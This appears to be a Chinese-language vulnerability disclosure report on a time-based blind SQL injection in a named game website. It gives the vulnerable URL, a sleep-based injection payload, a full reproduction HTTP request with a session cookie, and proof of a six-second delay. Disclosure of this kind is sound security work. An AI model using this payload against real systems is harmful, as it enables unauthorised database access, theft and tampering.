一、详细说明:
危害说明:攻击者可以使用 SQL 注入绕过 Web 应用程序的身份验证和授权机制,并检索整个数据库的内容。SQLi 还可用于添加、修改和删除数据库中的记录,从而影响数据完整性。在适当的情况下,攻击者还可以使用 SQLi 来执行操作系统命令,然后可以使用这些命令进一步升级攻击。
测试步骤:
burp抓包分析可知图为sql注入位置
下图可证明存在SQL注入漏洞
二、漏洞复现辅助信息:
-
漏洞URL:https://jl.175game.com/index.php/guide/index/id/if(now()=sysdate(),sleep(6),0).html%20HTTP/1.1
-
功能入口:
如下图所示:
-
漏洞复现所需的HTTP报文(代码块格式):
GET /index.php/guide/index/id/if(now()=sysdate(),sleep(6),0).html HTTP/1.1 X-Requested-With: XMLHttpRequest Referer: https://jl.175game.com/ Cookie: PHPSESSID=u89g09f0topvo8da98cq8h5gq7; think_template=black Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36 Host: jl.175game.com Connection: Keep-alive
三、漏洞证明:sleep(6) 延时了6秒